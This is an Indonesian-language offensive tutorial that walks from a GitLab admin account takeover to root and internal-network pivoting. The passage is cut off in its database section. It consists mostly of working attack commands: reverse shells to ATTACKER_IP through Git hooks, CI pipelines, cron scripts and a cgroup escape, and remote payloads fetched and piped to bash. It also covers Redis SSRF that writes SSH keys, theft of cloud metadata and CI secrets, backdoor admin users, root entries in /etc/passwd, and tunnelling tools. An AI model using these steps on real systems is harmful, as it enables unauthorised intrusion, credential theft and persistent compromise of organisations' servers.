GitLab Post-Exploitation

Dari CVE-2023-7028 account takeover hingga root server — post-exploitation, privilege escalation Linux, dan pivoting.
February 23, 2026 Reading: 23 min Authors:
  • Siti
Table of Contents

Daftar Isi


Bab 1 — Post-Exploitation setelah Account Takeover

1.1 Prerequisite

Sebelum melanjutkan, pastikan kamu sudah memiliki:

  • Akses login sebagai admin/root di GitLab target (misal via CVE-2023-7028)
  • Mengetahui versi GitLab yang berjalan (untuk menentukan CVE yang applicable)
  • Mengetahui tipe instalasi (Omnibus, source, Docker, Kubernetes)

1.2 Generate Personal Access Token

Langkah pertama setelah login: buat API token untuk otomasi.

Via UI:

User Settings → Access Tokens → Add new token

URL langsung:

https://gitlab.target.com/-/user_settings/personal_access_tokens

Scopes yang dibutuhkan:

ScopeFungsi
apiFull API access
read_repositoryClone private repos
write_repositoryPush ke repo (untuk CI trigger)
sudoImpersonate user lain (admin only)
admin_modeAkses admin API endpoints

Via API (jika sudah punya session cookie):

1curl -sk -X POST "https://gitlab.target.com/api/v4/personal_access_tokens" \
2  -H "Cookie: _gitlab_session=<session_cookie>" \
3  -d "name=backup&scopes[]=api&scopes[]=sudo"

Simpan token ini — kunci untuk semua langkah selanjutnya.

1.3 Reconnaissance via Admin Panel

Sebelum exploit, kumpulkan informasi server dari Admin Area.

a) System Info

Admin Area → Monitoring → System Info

Informasi yang didapat:

  • OS & Kernel — versi exact (berguna untuk kernel exploit)
  • CPU / Memory / Disk — ukuran server
  • GitLab version — menentukan CVE yang berlaku
  • Gitaly version & address — internal service
  • Tipe instalasi — Omnibus / Source / Docker

b) Health Check & Background Jobs

Admin Area → Monitoring → Health Check
Admin Area → Monitoring → Background Jobs (Sidekiq)

Informasi:

  • Status internal services (Redis, PostgreSQL, Gitaly)
  • Redis connection string (bisa dipakai untuk RCE via Redis)
  • Sidekiq job queue info

c) Network & Runners

Admin Area → Settings → Network
Admin Area → CI/CD → Runners

Informasi:

  • Outbound request restrictions (whitelist/blacklist)
  • Apakah ada Runner aktif, tipe executor (shell/docker/kubernetes)
  • Runner tags & status

Via API:

 1# System info
 2curl -sk -H "PRIVATE-TOKEN: <token>" \
 3  "https://gitlab.target.com/api/v4/metadata"
 4
 5# List all runners
 6curl -sk -H "PRIVATE-TOKEN: <token>" \
 7  "https://gitlab.target.com/api/v4/runners/all"
 8
 9# Application settings
10curl -sk -H "PRIVATE-TOKEN: <token>" \
11  "https://gitlab.target.com/api/v4/application/settings"

Yang paling penting dicari:

Runner executor = "shell" + status = "online"  →  langsung RCE di server
Redis address terekspos                         →  RCE via Redis
Cloud environment (AWS/GCP metadata)            →  credential theft

1.4 RCE via Server-Side Git Hooks (GitLab EE)

Syarat: GitLab Enterprise Edition (EE) — fitur ini tidak ada di CE.

Server-side Git hooks adalah shell script yang dieksekusi langsung di server GitLab setiap kali ada event Git (push, receive, update).

Cara Setup

Admin Area → Projects → (pilih project) → Repository → Git Hooks

Atau jika punya filesystem access (via CVE lain), tulis langsung:

/var/opt/gitlab/git-data/repositories/<namespace>/<project>.git/custom_hooks/post-receive

Contoh Hook untuk Recon

Buat file post-receive:

 1#!/bin/bash
 2# Tulis output ke file yang bisa diakses via repo
 3exec > /tmp/recon.txt 2>&1
 4id
 5whoami
 6hostname
 7ip addr
 8cat /etc/passwd
 9ls -la /home/
10cat /opt/gitlab/embedded/service/gitlab-rails/config/database.yml
11cat /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

Contoh Hook untuk Reverse Shell

1#!/bin/bash
2bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1

Trigger

Push commit apapun ke project tersebut → hook otomatis dieksekusi di server.

1git clone https://oauth2:<token>@gitlab.target.com/root/project.git
2cd project
3echo "trigger" >> README.md
4git add . && git commit -m "update" && git push

Di mesin attacker:

1nc -lvnp 4444

1.5 RCE via CI/CD Pipeline (jika ada Runner)

Jika dari recon ditemukan runner aktif dengan shell executor:

Buat Project + Pipeline

1# 1. Buat project baru
2curl -sk -H "PRIVATE-TOKEN: <token>" \
3  -d "name=infra-test&visibility=private" \
4  "https://gitlab.target.com/api/v4/projects"
5
6# 2. Clone
7git clone https://oauth2:<token>@gitlab.target.com/root/infra-test.git
8cd infra-test

.gitlab-ci.yml — Recon

 1stages:
 2  - recon
 3
 4info:
 5  stage: recon
 6  script:
 7    - id && whoami && hostname
 8    - ip addr
 9    - uname -a
10    - cat /etc/os-release
11    - ls -la /home/
12    - env | sort
13    - cat /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml 2>/dev/null || true
14    - cat /opt/gitlab/embedded/service/gitlab-rails/config/database.yml 2>/dev/null || true

.gitlab-ci.yml — Reverse Shell

1stages:
2  - build
3
4shell:
5  stage: build
6  script:
7    - bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1'

Push & Cek Output

1git add . && git commit -m "init" && git push

Lihat output pipeline:

https://gitlab.target.com/root/infra-test/-/pipelines

Catatan executor type:

ExecutorImpact
shellCommand jalan langsung di OS host → full RCE
dockerCommand jalan di container → perlu container escape
kubernetesCommand jalan di pod → perlu pod escape

1.6 RCE tanpa Runner — Authenticated CVE

Jika tidak ada runner dan bukan EE (tidak ada server hooks), gunakan CVE post-auth:

CVETeknikTarget VersiImpact
CVE-2022-2185Malicious project import → RCE< 15.1.1RCE di server
CVE-2022-2992GitHub import → Redis SSRF → RCE< 15.3.2RCE di server
CVE-2024-0402Workspace file write< 16.7.2Arbitrary file write
CVE-2023-2825Path traversal (attachments)16.0.0Arbitrary file read
CVE-2023-4998Scan execution policy bypass< 16.4.1Pipeline execution
CVE-2024-6385Pipeline trigger as other user< 17.1.2Pipeline sebagai user lain

Contoh: CVE-2022-2185 (Project Import RCE)

1# 1. Buat malicious export tarball dengan symlink / embedded payload
2#    (gunakan public PoC atau buat manual)
3
4# 2. Import via API
5curl -sk -H "PRIVATE-TOKEN: <token>" \
6  -F "path=pwned" \
7  -F "file=@malicious-export.tar.gz" \
8  "https://gitlab.target.com/api/v4/projects/import"

Contoh: CVE-2022-2992 (GitHub Import → Redis RCE)

1# 1. Setup fake GitHub API yang redirect ke Redis (gopher://)
2# 2. Trigger GitHub import di GitLab yang mengarah ke fake GitHub
3# 3. GitLab SSRF ke Redis → inject cron job / SSH key

1.7 SSRF via Webhook

Admin bisa membuat webhook yang mengirim HTTP request dari server GitLab ke target apapun termasuk internal network.

Setup

Project → Settings → Webhooks → Add webhook

Target Internal Services

 1# Redis (default port)
 2http://127.0.0.1:6379/
 3
 4# Gitaly
 5http://127.0.0.1:8075/
 6
 7# PostgreSQL (biasanya tidak HTTP, tapi bisa probe)
 8http://127.0.0.1:5432/
 9
10# Sidekiq
11http://127.0.0.1:8082/
12
13# Cloud Metadata
14http://169.254.169.254/latest/meta-data/
15
16# Internal network scan
17http://10.0.0.1/
18http://172.16.0.1/
19http://192.168.1.1/

Trigger & Baca Response

  1. Set webhook URL ke target internal
  2. Push commit ke project → webhook fired
  3. Cek webhook log di Settings → Webhooks → Recent deliveries
  4. Response body dari internal service akan terlihat di log

Redis RCE via SSRF (jika Redis tidak pakai auth)

Jika bisa SSRF ke Redis, kirim payload untuk menulis SSH key:

http://127.0.0.1:6379/

Dengan body yang mengandung Redis commands:

FLUSHALL
SET hack "\n\nssh-rsa AAAA... attacker@host\n\n"
CONFIG SET dir /var/lib/redis/.ssh/
CONFIG SET dbfilename authorized_keys
SAVE

1.8 Extract Secrets (CI Variables, Repos, Snippets)

Jalur ini tidak langsung memberi RCE, tapi credentials yang ditemukan sering kali menjadi jalan masuk ke server.

a) CI/CD Variables (Instance-level)

1curl -sk -H "PRIVATE-TOKEN: <token>" \
2  "https://gitlab.target.com/api/v4/admin/ci/variables"

b) CI/CD Variables (Per-project)

1# List semua project ID dulu
2curl -sk -H "PRIVATE-TOKEN: <token>" \
3  "https://gitlab.target.com/api/v4/projects?per_page=100" | jq '.[].id'
4
5# Lalu per project
6curl -sk -H "PRIVATE-TOKEN: <token>" \
7  "https://gitlab.target.com/api/v4/projects/<ID>/variables"

c) Deploy Keys

1curl -sk -H "PRIVATE-TOKEN: <token>" \
2  "https://gitlab.target.com/api/v4/deploy_keys"

d) Snippets

1curl -sk -H "PRIVATE-TOKEN: <token>" \
2  "https://gitlab.target.com/api/v4/snippets"

e) Clone & Scan Repos

 1# Clone semua private repos
 2curl -sk -H "PRIVATE-TOKEN: <token>" \
 3  "https://gitlab.target.com/api/v4/projects?per_page=100&visibility=private" \
 4  | jq -r '.[].http_url_to_auth'
 5
 6# Clone
 7git clone https://oauth2:<token>@gitlab.target.com/group/repo.git
 8
 9# Scan dengan trufflehog / noseyparker / gitleaks
10trufflehog git file://./repo --only-verified
11noseyparker scan ./repo

File yang sering berisi credentials:

.env / .env.production / .env.local
config/database.yml
config/secrets.yml
config/credentials.yml.enc
docker-compose.yml
k8s/*.yaml / helm/values.yaml
terraform/*.tf / terraform.tfstate
ansible/inventory/* / ansible/group_vars/*

Jika ditemukan SSH private key → langsung bisa masuk server:

1echo "<key_content>" > key.pem
2chmod 600 key.pem
3ssh -i key.pem deploy@server-ip

1.9 Cloud Metadata Pivot

Jika GitLab di-host di cloud (AWS/GCP/Azure), credentials cloud bisa diambil via SSRF webhook atau CI pipeline.

AWS

1# Via webhook SSRF atau CI script
2curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
3
4# Response = role name, lalu:
5curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>

Output:

1{
2  "AccessKeyId": "ASIA...",
3  "SecretAccessKey": "...",
4  "Token": "...",
5  "Expiration": "..."
6}

Gunakan credentials ini:

1export AWS_ACCESS_KEY_ID="ASIA..."
2export AWS_SECRET_ACCESS_KEY="..."
3export AWS_SESSION_TOKEN="..."
4aws sts get-caller-identity
5aws ec2 describe-instances

GCP

1curl -s -H "Metadata-Flavor: Google" \
2  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

Azure

1curl -s -H "Metadata: true" \
2  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

1.10 Persistence

Setelah mendapatkan akses, setup persistence:

MetodeCaraLevel
Backdoor admin userPOST /api/v4/users dengan admin: trueGitLab
Personal Access TokenBuat token tambahan dengan expiry panjangGitLab
SSH KeyTambah SSH key ke admin userGitLab + Server
Deploy KeyTambah deploy key dengan write accessGitLab
Server-side hookHook yang reconnect ke C2 setiap pushServer
Cron jobVia reverse shell, tulis cronServer
SSH authorized_keysVia shell, inject public keyServer

Buat Backdoor Admin User

1curl -sk -H "PRIVATE-TOKEN: <token>" \
2  -d "email=sysop@internal.local" \
3  -d "password=SecureP@ss123" \
4  -d "username=sysop" \
5  -d "name=System Operator" \
6  -d "admin=true" \
7  -d "skip_confirmation=true" \
8  "https://gitlab.target.com/api/v4/users"

Tambah SSH Key ke Akun

1curl -sk -H "PRIVATE-TOKEN: <token>" \
2  -d "title=workstation" \
3  -d "key=ssh-rsa AAAA... attacker@host" \
4  "https://gitlab.target.com/api/v4/user/keys"

1.11 Prioritas Jalur Eksploitasi

Flowchart untuk menentukan jalur berdasarkan kondisi target:

Login sebagai Admin
  │
  ├─ Buat Personal Access Token
  │
  ├─ Recon: Admin Panel → System Info, Runners, Settings
  │
  ├─ GitLab EE?
  │   ├─ Ya  → Server-side Git Hooks → RCE langsung
  │   └─ Tidak ↓
  │
  ├─ Ada Runner (shell executor)?
  │   ├─ Ya  → CI Pipeline → RCE di Runner host
  │   └─ Tidak ↓
  │
  ├─ Versi vulnerable ke post-auth CVE?
  │   ├─ Ya  → Exploit CVE (import RCE, path traversal, dll)
  │   └─ Tidak ↓
  │
  ├─ Webhook SSRF → probe internal services
  │   ├─ Redis tanpa auth? → RCE via Redis
  │   ├─ Cloud metadata?   → Credential theft → Cloud access
  │   └─ Internal services → Enumerate & pivot
  │
  ├─ Extract secrets dari CI vars, repos, snippets
  │   ├─ SSH key ditemukan?      → SSH ke server
  │   ├─ Cloud creds ditemukan?  → Cloud console access
  │   ├─ DB creds ditemukan?     → Database access
  │   └─ Tidak ada ↓
  │
  └─ Register runner sendiri → baca protected/masked CI variables
      └─ Cari credentials yang hanya muncul saat pipeline berjalan

Bab 2 — Privilege Escalation Linux

Setelah mendapat shell di server (via CI pipeline, Git hook, atau SSH key), kemungkinan besar kamu masuk sebagai user non-root seperti git, gitlab-runner, atau deploy. Bab ini membahas cara escalate ke root.

2.1 Situasi Awal

Cek posisi kamu saat ini:

1id                    # uid, gid, groups
2whoami                # current user
3hostname              # nama server
4uname -a              # kernel version (penting untuk kernel exploit)
5cat /etc/os-release   # distro & version

Hasil yang umum setelah GitLab exploitation:

Masuk viaUser
CI Runner (shell executor)gitlab-runner
Git Hookgit
SSH key dari repodeploy, ubuntu, ec2-user
Reverse shell dari CIgitlab-runner

2.2 Stabilkan Shell

Reverse shell biasanya tidak stabil (no TTY, no autocomplete). Upgrade dulu:

 1# Opsi 1: Python PTY
 2python3 -c 'import pty; pty.spawn("/bin/bash")'
 3
 4# Opsi 2: script
 5script /dev/null -c bash
 6
 7# Setelah dapat bash, fix terminal:
 8# (di reverse shell)
 9export TERM=xterm-256color
10export SHELL=/bin/bash
11stty rows 50 cols 200
12
13# Full upgrade (Ctrl+Z dulu di nc, lalu):
14# stty raw -echo; fg
15# reset

2.3 Enumerasi Otomatis

Jika bisa download tool, jalankan enumeration script:

 1# LinPEAS (paling lengkap)
 2curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
 3
 4# Atau download dulu, transfer via nc/curl
 5# Di attacker:
 6python3 -m http.server 8000
 7# Di target:
 8curl http://ATTACKER_IP:8000/linpeas.sh | bash
 9
10# Alternatif: linux-exploit-suggester
11curl -sL https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash

Jika tidak bisa download apapun, lakukan manual (section 2.4-2.10 di bawah).

2.4 SUID / SGID Binaries

SUID binary = berjalan dengan permission owner-nya (biasanya root), bukan user yang menjalankan.

1# Cari semua SUID binaries
2find / -perm -4000 -type f 2>/dev/null
3
4# Cari SGID
5find / -perm -2000 -type f 2>/dev/null
6
7# Gabungan
8find / -perm -u=s -o -perm -g=s -type f 2>/dev/null

Cek setiap binary yang ditemukan di GTFOBins — cari bagian “SUID”.

Contoh umum yang bisa diexploit:

 1# find (SUID)
 2find . -exec /bin/bash -p \;
 3
 4# vim (SUID)
 5vim -c ':!/bin/bash'
 6
 7# python3 (SUID)
 8python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
 9
10# env (SUID)
11env /bin/bash -p
12
13# cp (SUID) — overwrite /etc/passwd
14# buat password hash dulu:
15openssl passwd -1 -salt abc password123
16# hasilnya misal: $1$abc$xyz...
17# lalu:
18echo 'hacker:$1$abc$xyz...:0:0:root:/root:/bin/bash' >> /tmp/passwd
19cp /tmp/passwd /etc/passwd
20su hacker  # password: password123
21
22# pkexec (CVE-2021-4034 / PwnKit) — sangat umum
23# jika pkexec ada dan versi lama:
24# download & compile PwnKit exploit

2.5 Sudo Misconfig

1# Cek apa saja yang bisa di-sudo tanpa password
2sudo -l

Output contoh:

User gitlab-runner may run the following commands:
    (ALL) NOPASSWD: /usr/bin/docker
    (ALL) NOPASSWD: /usr/bin/git
    (ALL) NOPASSWD: /usr/bin/rsync

Eksploitasi berdasarkan binary:

 1# sudo docker → instant root
 2sudo docker run -v /:/mnt --rm -it alpine chroot /mnt bash
 3
 4# sudo git
 5sudo git -p help config
 6# di pager, ketik:
 7!/bin/bash
 8
 9# sudo rsync
10sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
11
12# sudo find
13sudo find / -exec /bin/bash \;
14
15# sudo vim/vi
16sudo vim -c ':!/bin/bash'
17
18# sudo env
19sudo env /bin/bash
20
21# sudo awk
22sudo awk 'BEGIN {system("/bin/bash")}'
23
24# sudo less/more
25sudo less /etc/shadow
26# ketik: !/bin/bash
27
28# sudo tar
29sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
30
31# sudo pip / pip3
32TF=$(mktemp -d)
33echo "import os; os.execl('/bin/bash','bash','-p')" > $TF/setup.py
34sudo pip install $TF
35
36# sudo ALL tanpa password (jackpot)
37sudo su -
38# atau
39sudo bash

Selalu cek GTFOBins dengan filter “Sudo” untuk binary yang ditemukan.

2.6 Cron Jobs

Cari cron jobs yang berjalan sebagai root tapi file script-nya writable oleh user kamu:

 1# Lihat crontab system
 2cat /etc/crontab
 3ls -la /etc/cron.d/
 4ls -la /etc/cron.daily/
 5ls -la /etc/cron.hourly/
 6
 7# Lihat crontab user lain (jika readable)
 8cat /var/spool/cron/crontabs/* 2>/dev/null
 9
10# Cari GitLab-specific cron
11cat /var/spool/cron/crontabs/git 2>/dev/null
12cat /var/spool/cron/crontabs/gitlab-runner 2>/dev/null
13
14# Monitor proses yang berjalan (detect hidden cron)
15# Tanpa tools:
16for i in $(seq 1 120); do ps aux | sort -u > /tmp/ps_$i; sleep 1; done
17diff /tmp/ps_1 /tmp/ps_120
18
19# Dengan pspy (jika bisa upload)
20# pspy mendeteksi semua proses baru tanpa root
21./pspy64

Jika menemukan cron script yang writable:

 1# Misal: /opt/scripts/backup.sh dijalankan root via cron
 2ls -la /opt/scripts/backup.sh
 3# -rwxrwxrwx 1 root root ... /opt/scripts/backup.sh  ← world-writable!
 4
 5# Inject reverse shell
 6echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh
 7
 8# Atau inject SUID bash
 9echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
10# Tunggu cron berjalan, lalu:
11/tmp/rootbash -p

2.7 Writable Files & Services

 1# File konfigurasi penting yang writable
 2ls -la /etc/passwd           # kalau writable → tambah user root
 3ls -la /etc/shadow           # kalau readable → crack password
 4ls -la /etc/sudoers          # kalau writable → instant root
 5ls -la /etc/crontab          # kalau writable → inject cron
 6ls -la /etc/systemd/system/  # kalau writable → buat service root
 7
 8# Cari semua file writable oleh user saat ini
 9find / -writable -type f 2>/dev/null | grep -v proc
10
11# Cari folder writable
12find / -writable -type d 2>/dev/null | grep -v proc
13
14# Systemd service yang writable
15find /etc/systemd/ -writable -type f 2>/dev/null
16find /lib/systemd/ -writable -type f 2>/dev/null

Jika /etc/passwd writable:

1# Generate password hash
2openssl passwd -1 -salt hacker password123
3
4# Tambah user root
5echo 'hacker:$1$hacker$TDQGqWPbYRmMwMCRyrLDR.:0:0:root:/root:/bin/bash' >> /etc/passwd
6
7# Login
8su hacker
9# password: password123

2.8 Capabilities

Linux capabilities memberi permission spesifik ke binary tanpa full SUID.

1# Cari binary dengan capabilities
2getcap -r / 2>/dev/null

Capabilities yang bisa di-privesc:

 1# cap_setuid → bisa ganti UID ke 0 (root)
 2# Contoh: python3 dengan cap_setuid
 3python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
 4
 5# cap_dac_read_search → bisa baca file apapun
 6# Contoh: tar dengan cap_dac_read_search
 7tar czf /tmp/shadow.tar.gz /etc/shadow
 8tar xzf /tmp/shadow.tar.gz
 9cat etc/shadow   # crack dengan john/hashcat
10
11# cap_net_raw → sniffing (bukan privesc langsung tapi berguna)
12# cap_sys_admin → mount filesystem, bisa escape container
13# cap_sys_ptrace → inject ke proses root

2.9 Kernel Exploit

Jika semua metode di atas gagal, cek apakah kernel vulnerable:

1uname -r          # kernel version
2cat /etc/os-release  # distro version

Exploit umum berdasarkan kernel:

Kernel / CVENamaTarget
CVE-2021-4034PwnKit (pkexec)Hampir semua Linux dengan polkit
CVE-2022-0847Dirty PipeKernel 5.8 - 5.16.11
CVE-2022-2588-Kernel < 5.19
CVE-2021-3156Baron Samedit (sudo)Sudo 1.8.2 - 1.9.5p1
CVE-2016-5195Dirty COWKernel 2.x - 4.x (lama tapi masih ada)
CVE-2023-0386OverlayFSKernel < 6.2
CVE-2023-32233Netfilter nf_tablesKernel < 6.4
 1# PwnKit (paling sering berhasil)
 2# Download pre-compiled atau compile sendiri
 3curl -sL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
 4chmod +x PwnKit
 5./PwnKit  # instant root
 6
 7# Dirty Pipe (kernel 5.8+)
 8# Compile exploit, jalankan — overwrite SUID binary
 9
10# Baron Samedit (sudo vulnerability)
11sudoedit -s '\' $(python3 -c 'print("A"*1000)')
12# jika crash = vulnerable

Catatan: Kernel exploit bisa menyebabkan crash. Gunakan sebagai opsi terakhir.

2.10 Docker / Container Escape

Jika kamu berada di dalam container (umum jika GitLab di-deploy via Docker):

1# Cek apakah di dalam container
2cat /proc/1/cgroup | grep -i docker
3ls /.dockerenv
4hostname  # biasanya random hex string
5
6# Cek apakah docker socket mounted
7ls -la /var/run/docker.sock

Jika docker.sock accessible:

1# Mount host filesystem
2docker run -v /:/mnt --rm -it alpine chroot /mnt bash
3# Sekarang kamu root di HOST, bukan di container
4
5# Jika docker command tidak ada, pakai curl:
6curl -s --unix-socket /var/run/docker.sock \
7  -X POST "http://localhost/containers/create" \
8  -H "Content-Type: application/json" \
9  -d '{"Image":"alpine","Cmd":["chroot","/mnt","bash"],"Binds":["/:/mnt"],"Privileged":true}'

Jika container privileged:

1# Cek
2cat /proc/self/status | grep CapEff
3# CapEff: 0000003fffffffff = privileged
4
5# Mount host disk
6mkdir /tmp/host
7mount /dev/sda1 /tmp/host
8chroot /tmp/host bash

Jika ada cap_sys_admin:

1# cgroup escape
2mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
3echo 1 > /tmp/cgrp/x/notify_on_release
4host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
5echo "$host_path/cmd" > /tmp/cgrp/release_agent
6echo '#!/bin/bash' > /cmd
7echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /cmd
8chmod +x /cmd
9echo 0 > /tmp/cgrp/x/cgroup.procs

2.11 GitLab-Specific Privesc

Ada beberapa hal spesifik untuk server GitLab:

a) GitLab Rails Console (jika user git)

 1# Jika masuk sebagai user "git" di Omnibus install:
 2gitlab-rails console
 3
 4# Di dalam console (Ruby):
 5user = User.find_by(username: 'root')
 6user.password = 'NewPassword123!'
 7user.password_confirmation = 'NewPassword123!'
 8user.save!
 9
10# Atau buat admin baru:
11user = User.new(username: 'hacker', email: 'hacker@test.com', password: 'Pass1234!', password_confirmation: 'Pass1234!', admin: true)
12user.skip_confirmation!
13user.save!

Ini tidak memberi root OS, tapi memberi full admin GitLab kembali jika token expired.

b) GitLab Secrets

 1# Omnibus install — berisi secret key base, OTP key, dll
 2cat /etc/gitlab/gitlab-secrets.json
 3
 4# Database credentials
 5cat /var/opt/gitlab/gitlab-rails/etc/database.yml
 6
 7# GitLab config (SMTP creds, LDAP bind password, dll)
 8cat /etc/gitlab/gitlab.rb | grep -i password
 9cat /etc/gitlab/gitlab.rb | grep -i secret
10cat /etc/gitlab/gitlab.rb | grep -i key
11
12# Runner registration token
13cat /etc/gitlab-runner/config.toml

c) PostgreSQL Access (user git biasanya bisa)

 1# Omnibus install — user git bisa akses DB tanpa password
 2gitlab-psql -d gitlabhq_production
 3
 4# Atau langsung:
 5psql -h /var/opt/gitlab/postgresql -U gitlab -d gitlabhq_production
 6
 7# Query berguna:
 8SELECT username, encrypted_password FROM users WHERE admin = true;
 9SELECT variable, value FROM ci_variables;
10SELECT key, value FROM application_settings;

2.12 Checklist Ringkasan

Dapat shell sebagai non-root
  │
  ├─ 1. Stabilkan shell (Python PTY / script)
  │
  ├─ 2. sudo -l
  │     └─ Ada entry NOPASSWD? → GTFOBins → root
  │
  ├─ 3. SUID binaries
  │     └─ find / -perm -4000 → GTFOBins → root
  │
  ├─ 4. Capabilities
  │     └─ getcap -r / → cap_setuid? → root
  │
  ├─ 5. Cron jobs
  │     └─ Script writable? → inject payload → tunggu → root
  │
  ├─ 6. Writable files
  │     └─ /etc/passwd writable? → tambah user → root
  │
  ├─ 7. GitLab-specific
  │     ├─ User git? → gitlab-rails console / gitlab-psql
  │     └─ Baca gitlab-secrets.json, database.yml
  │
  ├─ 8. Docker escape
  │     └─ docker.sock accessible? → mount host → root di host
  │
  └─ 9. Kernel exploit (opsi terakhir)
        └─ PwnKit / Dirty Pipe / Baron Samedit

Bab 3 — Pivoting ke Internal Network

Setelah punya akses di server GitLab (apalagi sudah root), server ini menjadi pivot point untuk masuk lebih dalam ke internal network.

3.1 Situasi Awal

Server GitLab biasanya posisinya di network:

Internet → Firewall → DMZ / Internal → [GitLab Server] → Internal Services
                                              │
                                              ├── Database Server (PostgreSQL)
                                              ├── Redis Server
                                              ├── Object Storage (MinIO/S3)
                                              ├── LDAP / Active Directory
                                              ├── Application Servers
                                              ├── CI/CD Target Servers (deployment)
                                              └── Monitoring (Grafana, Prometheus)

GitLab server punya akses ke banyak internal service — ini yang membuatnya valuable sebagai pivot.

3.2 Network Discovery

Pertama, mapping network dari dalam:

 1# Interface & IP addresses
 2ip addr
 3ifconfig 2>/dev/null
 4
 5# Routing table — menunjukkan subnet lain yang reachable
 6ip route
 7route -n 2>/dev/null
 8
 9# ARP table — host yang pernah berkomunikasi
10ip neigh
11arp -a 2>/dev/null
12
13# DNS resolver — internal DNS server
14cat /etc/resolv.conf
15
16# Hosts file — mungkin ada internal hostname
17cat /etc/hosts
18
19# Koneksi aktif — menunjukkan service apa saja yang terkoneksi
20ss -tupln
21netstat -tupln 2>/dev/null
22
23# Koneksi established — server lain yang sedang terkoneksi
24ss -tupn state established

Dari GitLab config, extract internal addresses:

 1# Database host
 2grep -i host /var/opt/gitlab/gitlab-rails/etc/database.yml
 3
 4# Redis host
 5grep -i redis /etc/gitlab/gitlab.rb | grep -v '#'
 6
 7# LDAP server
 8grep -i ldap /etc/gitlab/gitlab.rb | grep -v '#'
 9
10# SMTP server
11grep -i smtp /etc/gitlab/gitlab.rb | grep -v '#'
12
13# Object storage endpoint
14grep -i endpoint /etc/gitlab/gitlab.rb | grep -v '#'
15
16# Runner config (bisa punya IP internal)
17cat /etc/gitlab-runner/config.toml 2>/dev/null

3.3 Port Scanning dari Dalam

Dari server GitLab, scan internal network. Kemungkinan besar tools standar tidak ada, jadi pakai apa yang tersedia:

Tanpa Tools (Pure Bash)

 1# Ping sweep — cari host aktif di subnet
 2for i in $(seq 1 254); do
 3  (ping -c1 -W1 10.0.0.$i &>/dev/null && echo "10.0.0.$i UP") &
 4done; wait
 5
 6# Port scan satu host (tanpa nmap)
 7for port in 22 80 443 3306 5432 6379 8080 8443 9090 27017; do
 8  (echo >/dev/tcp/10.0.0.5/$port) 2>/dev/null && echo "$port open"
 9done
10
11# Scan range of hosts + common ports
12for host in $(seq 1 20); do
13  for port in 22 80 443 3306 5432 6379; do
14    (echo >/dev/tcp/10.0.0.$host/$port) 2>/dev/null && echo "10.0.0.$host:$port open"
15  done
16done 2>/dev/null

Dengan Nmap (jika bisa upload)

 1# Upload nmap static binary
 2# Di attacker:
 3python3 -m http.server 8000
 4# Di target:
 5curl http://ATTACKER_IP:8000/nmap-static -o /tmp/nmap && chmod +x /tmp/nmap
 6
 7# Quick scan subnet
 8/tmp/nmap -sn 10.0.0.0/24
 9
10# Port scan discovered hosts
11/tmp/nmap -sT -p 22,80,443,3306,5432,6379,8080,9090 10.0.0.0/24

Port yang menarik:

PortServicePivot Value
22SSHLogin ke server lain
80/443HTTP/SWeb apps internal
3306MySQLDatabase access
5432PostgreSQLDatabase access
6379RedisCache / session / RCE
8080Alt HTTPAdmin panels, Jenkins, etc
9090PrometheusMetrics, info disclosure
27017MongoDBNoSQL database
9200ElasticsearchData, log access
389/636LDAPDomain credentials
88KerberosAD environment
5985WinRMWindows remote access
3389RDPWindows desktop

3.4 Tunneling & Port Forwarding

Agar bisa akses internal service dari mesin attacker.

SSH Tunnel (jika punya SSH access ke GitLab server)

 1# Local port forward — akses satu service internal
 2# Akses PostgreSQL internal (10.0.0.5:5432) via localhost:5432
 3ssh -L 5432:10.0.0.5:5432 git@gitlab-server
 4
 5# Akses web app internal (10.0.0.10:8080) via localhost:8080
 6ssh -L 8080:10.0.0.10:8080 git@gitlab-server
 7
 8# Dynamic SOCKS proxy — akses SEMUA internal network
 9ssh -D 1080 git@gitlab-server
10
11# Lalu set browser/tool pakai SOCKS5 proxy localhost:1080
12# Atau pakai proxychains:
13echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
14proxychains nmap -sT 10.0.0.0/24
15proxychains curl http://10.0.0.10:8080

Chisel (jika tidak punya SSH, hanya reverse shell)

 1# Di attacker — jalankan server
 2./chisel server --reverse --port 9999
 3
 4# Di target (GitLab server) — connect back
 5curl http://ATTACKER_IP:8000/chisel -o /tmp/chisel && chmod +x /tmp/chisel
 6/tmp/chisel client ATTACKER_IP:9999 R:socks
 7
 8# Sekarang attacker punya SOCKS proxy di localhost:1080
 9# Pakai proxychains untuk akses internal network
10proxychains nmap -sT 10.0.0.0/24

Ligolo-ng (lebih stabil untuk pivoting berat)

 1# Di attacker:
 2./proxy -selfcert
 3
 4# Di target:
 5./agent -connect ATTACKER_IP:11601 -ignore-cert
 6
 7# Di attacker (ligolo console):
 8session         # pilih session
 9ifconfig        # lihat interface target
10start           # mulai tunnel
11
12# Tambah route di attacker
13sudo ip route add 10.0.0.0/24 dev ligolo
14# Sekarang bisa akses 10.0.0.x langsung dari attacker

3.5 Pivot ke Database

GitLab pasti terkoneksi ke database. Credentials sudah kamu dapat dari Bab 2.

PostgreSQL (GitLab DB)

 1# Dari server GitLab langsung
 2psql -h 10.0.0.5 -U gitlab -d gitlabhq_production
 3
